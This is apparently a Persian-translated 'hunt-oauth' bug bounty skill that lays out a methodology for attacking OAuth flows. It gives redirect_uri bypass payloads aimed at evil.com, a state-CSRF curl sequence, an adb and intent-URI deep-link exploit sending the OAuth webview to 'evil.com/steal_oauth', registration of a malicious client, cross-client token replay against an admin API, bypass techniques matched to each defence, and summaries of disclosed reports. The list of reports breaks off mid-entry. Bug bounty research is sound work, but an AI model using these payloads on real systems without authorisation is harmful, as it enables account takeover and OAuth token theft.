hunt-oauth

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۲۲۸ کیلوبایت۱۱ بخش

اسکیل کلاس آسیب‌پذیری برای OAuth — استخراج‌شده از ۱۹ گزارش عمومی باگ‌بانتی. وقتی روی هر هدفی شکار باگ‌های OAuth می‌کنی از آن استفاده کن.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-oauthشروع اجرا
۱
‏همه‌ی نقاط ورود OAuth را enumerate کن
۲
‏فلوی کامل OAuth را نقشه کن
۳
‏اعتبارسنجی `redirect_uri` را تست کن (پربازده‌ترین)
۴
‏پارامتر `state` را تست کن (CSRF)
۵
‏پارامتر `nonce` را تست کن (replay/دورزدن)
۶
‏کامل‌بودن گام احراز هویت را تست کن
۷
‏نشت referrer را شکار کن
۸
‏deep linkهای موبایل را تست کن
۹
‏credentialهای کلاینت ناپیکربندی‌شده را تست کن
۱۰
‏تأیید و مستندسازی
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۰ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-oauthکلاس آسیب‌پذیری · ۱۱ بخش۱اهداف ارزشمند۲سطح حمله و سیگنال‌ها۳مراحل شکار۴Payload و الگوهای تشخیص۵علل ریشه‌ای۶تکنیک‌های Bypass۷دروازه‌ی اعتبارسنجی۸اهداف ارزشمند۹نمونه‌های واقعی و impact۱۰تکنیک‌های Bypass۱۱دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۳سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۲

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

آسیب‌پذیری‌های OAuth جزو باارزش‌ترین کلاس‌های باگ در امنیت وب‌اند چون مستقیم تسخیر حساب، سرقت session و دورزدن احراز هویت را ممکن می‌کنند — سه‌تایی‌ای که برنامه‌ها بیشترین پول را برایش می‌دهند.

‏باارزش‌ترین اهداف:

  • ‏ارائه‌دهندگان هویت مصرفی (یکپارچگی‌های Google، Facebook، PayPal، Apple SSO) — هر compromise روی همه‌ی relying partyها آبشار می‌شود
  • ‏اپ‌های موبایل با handlerهای deep link سفارشی OAuth — مدیریت intent در Android/iOS بدناماً شل است
  • ‏پلتفرم‌های SaaS چندمستأجری (GitLab، اپ‌های در مقیاس Reddit) جایی که یک نقص OAuth میلیون‌ها اکانت را می‌زند
  • ‏پلتفرم‌های gaming/سرگرمی با login فدراتیو (Rockstar، Oculus) — غالباً تیم‌های کم‌بلوغ امنیتی
  • ‏کانکتورهای SSO سازمانی — زیرساخت critical، پرداخت‌های severity بالا

‏نوع‌های دارایی که بیشتر پرداخت می‌کنند:

  • ‏endpointهای authorization مربوط به OAuth ‏(/oauth/authorize، /connect/authorize)
  • ‏endpointهای تبادل توکن ‏(/oauth/token)
  • ‏handlerهای deep link موبایل (push_notification_webview، URIهای scheme سفارشی)
  • ‏handlerهای callback مربوط به social login ‏(/auth/callback، /oauth/callback)

‏پرداخت‌های معمول: $۵۰۰–$۲۰٬۰۰۰+ بسته به برنامه؛ یافته‌های تسخیر حساب غالباً سقف باونتی را می‌زنند.

۲

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL برای شکار
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
هدرهای پاسخ که OAuth را سیگنال می‌دهند
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
الگوهای JavaScript ‏(grep در bundleهای JS)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
سیگنال‌های پشته‌ی فنی
  • ‏اپ‌های Android با intent-filter در AndroidManifest.xml که URIهای http:// یا scheme سفارشی را handle می‌کنند
  • ‏اپ‌هایی با Doorkeeper، OmniAuth، Devise ‏(Ruby)، Passport.js ‏(Node)، Spring Security OAuth
  • ‏دکمه‌های social login ‏(Google، Facebook، Apple) = سطح OAuth تضمین‌شده
  • ‏حضور .well-known/openid-configuration = سطح کامل OIDC در دسترس است
۳

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏همه‌ی نقاط ورود OAuth را enumerate کن
  • ‏اپ را برای مسیرهای /oauth، /connect، /auth، /login spider بزن
  • ‏‏.well-known/openid-configuration و .well-known/oauth-authorization-server را چک کن
  • ‏APKهای موبایل را decompile کن: apktool d app.apk و برای redirect_uri، intent:// و schemeهای deep link grep بزن
  1. ‏فلوی کامل OAuth را نقشه کن
  • ‏request مربوط به authorization را بگیر: client_id، redirect_uri، state، nonce، response_type را یادداشت کن
  • ‏callback را بگیر: ببین توکن‌ها/کدها کجا فرود می‌آیند و چه چیزی state/nonce را اعتبارسنجی می‌کند
  1. ‏اعتبارسنجی redirect_uri را تست کن (پربازده‌ترین)
  • ‏دورزدن host دقیق را امتحان کن: redirect_uri=https://legit.com.evil.com
  • ‏‏path traversal را امتحان کن: redirect_uri=https://legit.com/callback/../../../evil
  • ‏اول open redirect روی دامین مشروع را امتحان کن، بعد به OAuth زنجیر کن
  • ‏parameter pollution را امتحان کن: redirect_uri=https://legit.com&redirect_uri=https://evil.com
  • ‏کاراکترهای encode‌شده را امتحان کن: %2F، %40، %23 برای گیج‌کردن parserها
  1. ‏پارامتر state را تست کن (CSRF)
  • ‏‏state را کلاً بردار — آیا فلو کامل می‌شود؟
  • ‏مقدار state ثابت را میان sessionها استفاده‌ی مجدد کن
  • ‏چک کن state سمت‌سرور اعتبارسنجی می‌شود یا فقط سمت‌کلاینت
  1. ‏پارامتر nonce را تست کن (replay/دورزدن)
  • ‏‏nonce از یک فلو بگیر و در فلوی دیگر replay کن
  • ‏چک کن nonce پس از تبادل توکن اعتبارسنجی می‌شود
  • ‏تست کن آیا nonce از طریق نشت referrer قابل‌استخراج است (گام ۹)
  1. ‏کامل‌بودن گام احراز هویت را تست کن
  • ‏برای auth چندمرحله‌ای (مثل verification ایمیل + OAuth): می‌توانی مستقیم به /oauth/token بپری؟
  • ‏چک کن state ناقص auth ‏(ایمیل verify‌نشده) توسط endpoint توکن پذیرفته می‌شود
  1. ‏نشت referrer را شکار کن
  • ‏پس از callback مربوط به OAuth با توکن‌ها در fragment یا query مربوط به URL، چک کن آیا منابع داخل‌صفحه (تصاویر، اسکریپت‌ها، iframeها) هدر کامل Referer را می‌گیرند
  • ‏خاصاً به سوییچرهای زبان، فراخوانی‌های analytics و دکمه‌های social share که پس از auth فعال می‌شوند نگاه کن
  1. ‏deep linkهای موبایل را تست کن
  • ‏برای Android: URIهای intent مخرب بساز که webview مربوط به OAuth را به URLهای کنترل‌شده‌ی مهاجم redirect کنند
  • ‏چک کن handlerهای deep link پیش از لود، origin/host را اعتبارسنجی می‌کنند
  • ‏الگوهای push_notification_webview را تست کن که URLهای دلخواه می‌پذیرند
  1. ‏credentialهای کلاینت ناپیکربندی‌شده را تست کن
  • ‏چک کن آیا client_secret در bundleهای JS یا resourceهای APK ظاهر می‌شود
  • ‏تست کن آیا endpoint توکن مقادیر redirect_uri دلخواه را وقتی با client_id/client_secret لو‌رفته ترکیب شوند می‌پذیرد
  1. ‏تأیید و مستندسازی
  • ‏تأیید کن state اعتبارسنجی نمی‌شود ← CSRF به لینک اکانت
  • ‏تأیید کن توکن روی دامین مهاجم فرود می‌آید ← سرقت session
  • ‏تأیید کن verification ایمیل رد شدنی است ← دورزدن auth
  • ‏پیش از گزارش چک Gate 0 را اجرا کن
مراحل استخراج‌شده
  1. ۱‏همه‌ی نقاط ورود OAuth را enumerate کن
  2. ۲‏اپ را برای مسیرهای `/oauth`، `/connect`، `/auth`، `/login` spider بزن
  3. ۳‏‏`.well-known/openid-configuration` و `.well-known/oauth-authorization-server` را چک کن
  4. ۴‏APKهای موبایل را decompile کن: `apktool d app.apk` و برای `redirect_uri`، `intent://` و schemeهای deep link grep بزن
  5. ۵‏فلوی کامل OAuth را نقشه کن
  6. ۶‏request مربوط به authorization را بگیر: `client_id`، `redirect_uri`، `state`، `nonce`، `response_type` را یادداشت کن
  7. ۷‏callback را بگیر: ببین توکن‌ها/کدها کجا فرود می‌آیند و چه چیزی state/nonce را اعتبارسنجی می‌کند
  8. ۸‏اعتبارسنجی `redirect_uri` را تست کن (پربازده‌ترین)
  9. ۹‏دورزدن host دقیق را امتحان کن: `redirect_uri=https://legit.com.evil.com`
  10. ۱۰‏‏path traversal را امتحان کن: `redirect_uri=https://legit.com/callback/../../../evil`
  11. ۱۱‏اول open redirect روی دامین مشروع را امتحان کن، بعد به OAuth زنجیر کن
  12. ۱۲‏parameter pollution را امتحان کن: `redirect_uri=https://legit.com&redirect_uri=https://evil.com`
  13. ۱۳‏کاراکترهای encode‌شده را امتحان کن: `%2F`، `%40`، `%23` برای گیج‌کردن parserها
  14. ۱۴‏پارامتر `state` را تست کن (CSRF)
۴

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

payloadهای دورزدن redirect_uri
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com
تست CSRF مربوط به state
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
استخراج nonce از طریق referrer
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
اکسپلویت deep link موبایل (Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
دورزدن auth در endpoint توکن
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "username=unverified@evil.com" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"
الگوهای grep برای recon
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
کشف OIDC و سوءاستفاده‌ی Dynamic Registration
# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'

# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
  -H "Content-Type: application/json" \
  -d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
confusion توکن میان‌کلاینت
# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
  -d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)

# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
تست re-auth بی‌صدا با `prompt=none` در OIDC
# Test whether adding prompt=none to authorize request yields a token without user interaction
# Signals session fixation / silent auth abuse potential
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
۵

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏اعتبارسنجی ضعیف redirect_uri — توسعه‌دهندگان با prefix لیست‌سفید می‌کنند (startsWith) به‌جای تطبیق دقیق، یا کل دامین را به‌جای مسیرهای مشخص لیست‌سفید می‌کنند. open redirect روی زیرمسیر همان دامین بعد به primitive کامل سرقت توکن تبدیل می‌شود.
  1. ‏پارامتر state غایب یا اعتبارسنجی‌نشده — توسعه‌دهندگان OAuth را با آموزش‌های پایه‌ای پیاده می‌کنند که حفاظت CSRF را حذف می‌کند، یا state را فقط سمت‌کلاینت در JavaScript اعتبارسنجی می‌کنند (به‌سادگی دورزدنی).
  1. ‏‏nonce پس از تبادل اعتبارسنجی نمی‌شود — nonce تولید و در request فرستاده می‌شود ولی پس از تبادل کد هرگز در برابر ID token تأیید نمی‌شود که حمله‌ی replay را ممکن می‌کند.
  1. ‏ترتیب گام‌های احراز هویت سمت‌سرور اعمال نمی‌شود — تیم‌ها auth چندمرحله‌ای پیاده می‌کنند (ثبت‌نام ← verify ایمیل ← grant مربوط به OAuth) ولی توالی را سمت‌سرور اعمال نمی‌کنند. endpoint توکن تکمیل گام‌های پیش‌نیاز را چک نمی‌کند.
  1. ‏توکن/کد در URL با requestهای خروجی روی صفحه‌ی callback — توسعه‌دهندگان کاربران را روی صفحه‌ی callback با توکن‌ها در query string فرود می‌آورند، بعد آن صفحه requestهای analytics، social share یا CDN می‌زند که URL کامل را از طریق هدر Referer لو می‌دهد.
  1. ‏handlerهای deep link موبایل به همه‌ی URLهای ورودی اعتماد می‌کنند — توسعه‌دهندگان Android/iOS بدون اعتبارسنجی اینکه URL لودشده متعلق به دامین خودشان است wrapperهای webview برای فلوهای push notification می‌سازند.
  1. ‏ثبت اپلیکیشن OAuth ناپیکربندی‌شده — توسعه‌دهندگان redirect URIهای wildcard ثبت می‌کنند (https://*.example.com/*) یا اصلاً در توسعه محدودشان نمی‌کنند و یادشان می‌رود برای production قفلشان کنند.
  1. ‏‏client secretهای embed‌شده در اپ‌های موبایل — تلقی credential کلاینت محرمانه به‌عنوان عمومی، که به مهاجم دارای secret اجازه می‌دهد requestهای توکن با redirect URIهای دلخواه بزند.
  1. ‏ابهام claim مربوط به sub در OIDC میان ارائه‌دهندگان هویت — اپ‌هایی که login از چند IdP (Google، Microsoft، Apple) می‌پذیرند ممکن است اکانت‌ها را فقط روی sub کلید بزنند بدون جداسازی IdP. اگر دو IdP همان sub را برای کاربران متفاوت emit کنند، مهاجم یک IdP اکانت‌های لینک‌شده به IdP دیگر را می‌رباید.
۶

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

مدافع: لیست‌سفید `redirect_uri` با تطبیق-دقیق

‏دورزدن: یک open redirect روی خود دامین لیست‌سفیدشده پیدا کن، بعد آن URL را به‌عنوان redirect_uri استفاده کن. سرور OAuth دامین ثبت‌شده را تأیید می‌کند ✓ ولی open redirect کد/توکن را به مهاجم می‌پرد.

redirect_uri=https://legit.com/logout?next=https://evil.com
مدافع: پارامتر `state` الزامی

‏دورزدن: چک کن آیا state برای طول/فرمت اعتبارسنجی می‌شود ولی نه binding به session. از مقدار state ثابت قابل‌پیش‌بینی استفاده کن. همچنین چک کن PKCE اعمال می‌شود یا نه — اگر نه، چک state به‌تنهایی برای تزریق کد کافی نیست.

مدافع: تحویل توکن فقط-fragment ‏(`response_type=token`)

‏دورزدن: مرورگرها fragment را در Referer نمی‌فرستند ولی JavaScript روی صفحه‌ی callback ممکن است window.location.hash را بخواند و به analytics بدهد یا با postMessage به فریم والد بفرستد. handlerهای postMessage را رهگیری کن.

مدافع: اعتبارسنجی host روی deep linkهای موبایل

‏دورزدن: URL encoding ‏(https%3A//evil.com)، encode دوباره، نرمال‌سازی Unicode یا null byte را امتحان کن تا validator گیج شود در حالی که webview زیرین باز هم درست navigate می‌کند.

مدافع: کدهای authorization کوتاه‌عمر

‏دورزدن: نشت referrer و open redirect حتی با کدهای کوتاه‌عمر کار می‌کنند اگر مهاجم گیرنده‌ی سریع داشته باشد. برای CSRF، قربانی خودش فلو را کامل می‌کند پس timing کمتر critical است.

مدافع: اعمال PKCE

‏دورزدن: چک کن PKCE برای همه‌ی کلاینت‌ها الزامی است یا فقط بعضی‌ها. کلاینت‌های legacy یا اپ‌های موبایل ممکن است معاف باشند. با حذف code_challenge تست کن — اگر سرور باز توکن صادر کند، PKCE اعمال نمی‌شود.

مدافع: اعتبارسنجی nonce

‏دورزدن: چک کن آیا nonce فقط سمت‌کلاینت در JavaScript اعتبارسنجی می‌شود. claim مربوط به nonce در ID token را رهگیری و تغییر بده اگر امضا تأیید نمی‌شود (نادر ولی در پیاده‌سازی‌های ناپیکربندی‌شده دیده‌شده). همچنین تست کن آیا nonce روی request اولیه اعتبارسنجی می‌شود ولی روی token refresh نه.

۷

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، به هر سه جواب بده:

‏۱. مهاجم همین الان چه کار می‌تواند بکند؟

مشخص بگو: «به قربانی URL ساختگی می‌فرستم ← کلیک می‌کند ← کد OAuthش به سرور من redirect می‌شود ← کد را با access token تعویض می‌کنم ← حالا به‌عنوان قربانی لاگین‌ام.» اگر نمی‌توانی این زنجیره‌ی کامل را تمام کنی، ممکن است فقط informational باشد.

‏۲. قربانی چه چیزی از دست می‌دهد؟

کف حداقلی: قربانی session احرازهویت‌شده را از دست می‌دهد (دسترسی اکانت). کف‌های بالاتر: قربانی اکانت‌های لینک‌شده، روش‌های پرداخت و داده‌ی خصوصی را از دست می‌دهد. اگر مهاجم فقط هویت قربانی را بدون کسب دسترسی می‌فهمد، severity به‌شدت افت می‌کند.

‏۳. از صفر در ۱۰ دقیقه بازتولید می‌شود؟

مرورگر/دستگاه تازه بدون state قبلی باز کن. اگر بتوانی در ۱۰ دقیقه با فقط گام‌های نوشته‌شده از «احرازهویت‌نشده» به «احرازهویت‌شده به‌عنوان قربانی» برسی، باگ واقعی و قابل‌گزارش است. اگر به timing شانسی، رفتار خاص قربانی فراتر از «کلیک روی لینک» یا موقعیت شبکه نیاز دارد، آن وابستگی‌ها را صراحتاً مستند کن.

۸

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریوی ۱: سرقت session موبایل از طریق deep link مربوط به push notification (الگوی PayPal/Venmo)

مهاجم کشف می‌کند handler مربوط به push notification در اپ Android پارامتر url دلخواه را در scheme مربوط به deep link بدون اعتبارسنجی host می‌پذیرد. مهاجم URL مخربی با scheme سفارشی اپ می‌سازد که به سرور خودش اشاره می‌کند. وقتی به قربانی فرستاده می‌شود (از طریق مهندسی اجتماعی یا کانال push notification درمعرض)، اپ WebViewی باز می‌کند که به سرور مهاجم navigate می‌کند — که بعد فلوی OAuth را آغاز و توکن OAuth را هنگام بازگشت به «callback» حالا تحت کنترل مهاجم می‌گیرد. نتیجه: تسخیر کامل اکانت روی پلتفرم پرداخت با میلیون‌ها کاربر. تأثیر کسب‌وکاری: انتقال وجه غیرمجاز، افشای روش‌های پرداخت لینک‌شده و تاریخچه تراکنش.

سناریوی ۲: دورزدن verification ایمیل از طریق دسترسی مستقیم به endpoint توکن (الگوی GitLab)

توسعه‌دهنده‌ای اکانتی با نشانی ایمیل verify‌نشده می‌سازد. عادی‌اش این است که پلتفرم دسترسی کامل را تا verify شدن ایمیل بلاک می‌کند. ولی endpoint مربوط به /oauth/token هیچ چک وضعیت verification انجام نمی‌دهد — فقط credentialها را اعتبارسنجی می‌کند. مهاجم /oauth/token را مستقیم با credentialهای معتبر (verify‌نشده) صدا می‌زند و توکن OAuth با scope کامل می‌گیرد. این توکن همه‌ی چک‌های authorization پایین‌دست را می‌گذراند. نتیجه: دورزدن کامل احراز هویت که به اکانت‌های ایمیل verify‌نشده/یک‌بارمصرف امکان دسترسی کامل پلتفرم می‌دهد و کنترل امنیتی verification ایمیل را کلاً بی‌اثر می‌کند. در مقیاس پلتفرمی مثل GitLab، این دسترسی pipeline مربوط به CI/CD، دسترسی repository و استفاده‌ی API را درگیر می‌کند.

سناریوی ۳: سرقت توکن OAuth از طریق هدر Referer هنگام تغییر زبان (الگوی Rockstar Games)

صفحه‌ی callback مربوط به OAuth برای login فیسبوک کاربران را روی URLی فرود می‌آورد که access_token را در query string دارد. صفحه ویجت تغییر زبان دارد که request مربوط به GET برای تغییر ترجیحات locale می‌زند. این request مربوط به GET هدر Referer حاوی URL کامل صفحه — شامل توکن دسترسی فیسبوک — را دارد. مهاجمی که می‌تواند لاگ‌های سرور را بخواند (یا endpoint تغییر زبان را compromise کند، یا advertiser مخربی با دسترسی pixel است) توکن‌های OAuth فیسبوک را از لاگ‌های Referer برداشت می‌کند. نتیجه: مهاجم می‌تواند به اکانت فیسبوک قربانی و هر سرویس دیگری که آن توکن فیسبوک را می‌پذیرد احراز هویت کند — تسخیر اکانت میان‌پلتفرمی. تأثیر کسب‌وکاری: نقض GDPR/حریم خصوصی، compromise اکانت میان‌سرویسی، مسئولیت قانونی بالقوه.

۹

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +9 — 2020-2024)
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / coordinated-disclosure زیر این اسکیل را فراتر از ۱۰ مرجع داخلی اصلی گسترش می‌دهند. هر کدام زیرکلاس متمایز OAuth با PoC کارکرده مستندشده در writeup ارجاع‌شده هستند.

  1. ‏Semrush — دورزدن redirect_uri با IDN-homograph ‏(H1 #861940)
  • ‏زیرکلاس: دورزدن redirect_uri از طریق host قابل‌اشتباه-یونیکد (homograph)
  • ‏‏Payload: redirect_uri=https://oauth.šemrush.com/cb (punycode مربوط به xn--emrush-9jb.com) — از چک رشته‌ی فقط-Latin روی validator گذشت
  • ‏علت ریشه‌ای: سرور host مربوط به redirect_uri را با تساوی رشته‌ی ASCII اعتبارسنجی می‌کند ولی Unicode ← confusables ← punycode را پیش از مقایسه نرمال نمی‌کند
  • ‏افشا: ۲۰۲۰، باونتی عمومی (مبلغ افشانشده)؛ کشف‌کننده Yassine Aboukir
  1. ‏Bohemia Interactive — دورزدن فیلتر redirect_uri ‏(BiStudio) ‏(H1 #405100)
  • ‏زیرکلاس: دورزدن اعتبارسنجی redirect_uri ← بیرون‌کشیدن توکن OAuth
  • ‏‏Payload: redirect_uri ساختگی برای شکست فیلتر regex/prefix و فرودآوردن توکن‌ها روی هاست مهاجم؛ گزارش‌گر دورزدن را به PoC کامل نشت-توکن زنجیر کرد
  • ‏علت ریشه‌ای: فیلتر ضعیف redirect_uri که host کنترل‌شده‌ی مهاجم را در حالی که هنوز با الگوی موردنظر می‌خواند می‌پذیرفت
  • ‏سال: افشای ۲۰۱۸؛ هنوز نمونه‌ی متعارف regex-redirect_uri-bypass در گزارش‌های بعدی استناد می‌شود
  1. ‏pixiv — path-traversal در redirect_uri مربوط به OAuth ‏(H1 #1861974)
  • ‏زیرکلاس: دورزدن redirect_uri با path-traversal ← نشت authorization-code
  • ‏‏Payload: redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb — سرور پس از اعتبارسنجی نرمال کرد
  • ‏علت ریشه‌ای: validator رشته‌ی خام را بررسی می‌کرد؛ HTTP/مرورگر پایین‌دست traversal مربوط به ../ را handle و کد را به مسیر مهاجم emit کرد
  • ‏افشا: ۲۰۲۳، $۲٬۰۰۰ باونتی، ۲۴۴ رأی — پرداخت تأییدشده
  1. ‏Slack — دورزدن redirect_uri در OAuth2 (domain-suffix) ‏(H1 #2575)
  • ‏زیرکلاس: دورزدن اعتبارسنجی redirect_uri از طریق domain-suffix / confusion ساب‌دامین
  • ‏‏Payload: redirect_uri با دامینی که روی host ثبت‌شده suffix-match می‌شد (مثل slack.com.attacker.com) چک فقط-پسوند را شکست
  • ‏علت ریشه‌ای: endsWith() / تطبیق-پسوند به‌جای تساوی دقیق host
  • ‏افشا: ۲۰۱۳ (کیس بنیادین که هنوز در آموزش مدرن OAuth استناد می‌شود) — باونتی عمومی Slack
  1. ‏Booking.com ‏(social-login فیسبوک) ‏(Salt Labs writeup)
  • ‏زیرکلاس: زنجیره‌ی سه‌مرحله‌ای — open-redirect روی دامین لیست‌سفیدشده + دورزدن redirect_uri + تعویض response_type ← سرقت کد/توکن OAuth فیسبوک ← ATO
  • ‏‏Payload: URL مربوط به authorize با redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb و response_type تغییرداده برای نشت توکن‌ها از طریق fragment
  • ‏علت ریشه‌ای: validator به هر مسیر زیر account.booking.com اعتماد می‌کرد؛ open redirect روی آن host کد auth را به مهاجم پَرت کرد
  • ‏افشا: مارس ۲۰۲۳ — coordinated disclosure، بدون رقم باونتی عمومی (~۵۰۰M MAU درمعرض)
  1. ‏Expo.io ‏(expo-auth-session) — CVE-2023-28131 ‏(Salt Labs writeup)
  • ‏زیرکلاس: scope-creep / پارامتر returnUrl اعتبارسنجی‌نشده ← سرقت کد OAuth میان‌اپی (روی هر مصرف‌کننده‌ی social login در expo-auth-session اثر دارد)
  • ‏‏Payload: مهاجم returnUrl=https://attacker.tld را به proxy مربوط به OAuth می‌دهد ← Expo کورکورانه کد Facebook/Google/Apple/Twitter را به مهاجم فوروارد می‌کند
  • ‏علت ریشه‌ای: proxy مربوط به OAuth در سطح فریم‌ورک host مربوط به returnUrl را پیش از فوروارد callback مربوط به social-IdP اعتبارسنجی نمی‌کرد
  • ‏افشا: مه ۲۰۲۳؛ CVSS 9.6؛ فیکس‌شده فوریه‌ی ۲۰۲۳ با hotfix + منسوخ تا ۲۶ فوریه‌ی ۲۰۲۳
  1. ‏Microsoft Azure AD چندمستأجری — «nOAuth» ‏(Descope writeup)
  • ‏زیرکلاس: تسخیر اکانت میان‌IdP از طریق claim مربوط به email تأییدنشده و mutable (معادل «Pass-The-Token»)
  • ‏‏Payload: مهاجم attribute مربوط به mail در پروفایل admin در Azure AD را روی نشانی قربانی می‌گذارد ← روی relying partyی که کاربران را با claim مربوط به email کلید می‌زند «Log in with Microsoft» را می‌زند ← ATO فوری
  • ‏علت ریشه‌ای: claim مربوط به email در Microsoft mutable + تأییدنشده است؛ RPها آن را شناسه‌ی اصلی تلقی می‌کردند
  • ‏افشا: گزارش ۱۱ آوریل ۲۰۲۳، فیکس ۲۰ ژوئن ۲۰۲۳ (mitigationها + claim جدید xms_edov)
  1. ‏Grammarly / Vidio / Bukalapak — social-login مربوط به «Pass-The-Token» ‏(Salt Labs writeup)
  • ‏زیرکلاس: نبود اعتبارسنجی audience / aud روی access_token فیسبوک ← replay توکن میان‌کلاینت ← ATO
  • ‏‏Payload: مهاجم توکن فیسبوک صادرشده برای attacker.app را می‌گیرد ← توکن را به API مربوط به login در Grammarly/Vidio/Bukalapak replay می‌کند ← سرور کاربر FB را با /me می‌خواند، ایمیل قربانی را می‌یابد، session قربانی صادر می‌کند
  • ‏علت ریشه‌ای: relying party مقدار /me فیسبوک را با توکن صادرشده‌ی مهاجم صدا می‌زند ولی هرگز اعتبارسنجی نمی‌کند app_id توکن متعلق به RP است
  • ‏افشا: اکتبر ۲۰۲۳ — coordinated، ~۱ میلیارد اکانت درمعرض در سه سایت
  1. ‏Zoom — ATO زنجیره‌ی «dirty dancing» در OAuth ‏(Harel Security writeup)
  • ‏زیرکلاس: تعویض response_type=token + چک origin شل در postMessage + cookie-tossing ← نشت authorization-code از طریق response_mode مربوط به web_message ← ATO + ربودن cam/mic
